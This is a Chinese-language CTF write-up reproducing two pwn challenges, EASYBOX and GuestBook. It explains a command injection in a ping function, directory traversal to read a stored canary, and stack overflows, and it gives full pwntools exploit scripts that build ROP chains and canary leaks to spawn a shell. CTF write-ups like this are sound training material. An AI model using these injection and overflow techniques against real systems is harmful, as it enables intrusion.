前言
笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。
EASYBOX
考点:命令执行?+ 栈溢出
附件给了 docker 环境,可以直接在本地复现,但是 docker 我不会调试,幸好这题也不用调试。
程序没开 PIE,有 system,sh 字符串。然后在一开始的时候把 canary 写进了/secret/canary.txt 文件中。
漏洞分析
漏洞1:
在 pingCommand 函数中对输入的字符检查不够严格,导致存在命令注入:例如我们可以通过 0;echo "data" 向 /tmp/result.txt 文件中写入内容。
这个环境好像没有 tac/less/more 等命令,然后 cat 被过滤了,所以这里似乎没办法直接读文件内容。还需要注意的是 sprintf 会被 \x00 截断,但是这个无关紧要的,可以 base 一下去除 \x00。
漏洞2:
这里首先存在目录穿越,也是对输入的文件名检查不严格导致。然后后面那个溢出漏洞很明显,其实大家写过程序都知道,对于文件的读取,一般都是根据文件大小去 malloc 一个对应的空间。而这里如果文件大小大于 72 则导致栈溢出。
漏洞利用
1、先利用 CAT 功能配合目录穿越读取 canary
2、再利用 PING 功能往 result.txt 文件中写入 rop 链
3、最后利用 CAT 功能读取 result.txt 造成栈溢出
exp 如下:
from pwn import *
import base64
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
#io = process("./pwn")
io = remote("127.0.0.1", 9999)
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
pop_rdi = 0x0000000000401ce3 # pop rdi ; ret
sh_addr = 0x0000000000402090
system = 0x00000000004018B2
sla(b'name: ', b'XiaozaYa')
sla(b'$ ', b'CAT')
sla(b'view: ', b'../../secret/canary.txt')
canary = int(rl(), 16)
info("canary", canary)
rop = b'A'*72 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(sh_addr) + p64(system)
rop = base64.b64encode(rop)
pay = b'0;echo "' + rop + b'" | base64 -d'
print(hex(len(pay)), ":", pay)
sla(b'$ ', b'PING')
sla(b'address: ', pay)
sla(b'$ ', b'CAT')
sla(b'view: ', b'result.txt')
#debug()
sh()
效果如下:
GuestBook
考点:栈溢出
没开 PIE,有后门,有栈溢出,其实没啥好说的了
read 那里溢出到了 canary,所以可以直接修改 canary 最后一个字节然后泄漏出 canary。后面一个白给的栈溢出,strcpy 存在 \x00 截断,所以 canary 分两次写即可。然后就直接跳到后门即可。
exp如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
sda(b'name: ', b'A'*23 + b'X' + b'Y')
rut(b'X')
canary = addr8(8) - ord('Y')
rbp = addr8(6)
info("canary", canary)
info("rbp", rbp)
sla(b'): ', b'2')
pay = b'A'*(0xA0 - 8) + p64(canary + ord('A')) + b'AAAAAAAA' + b'\xc3\x12\x40'
sl(pay)
sleep(0.01)
pay = b'A'*(0xA0 - 8 - 0x20)
sl(pay)
#debug()
sh()
效果如下: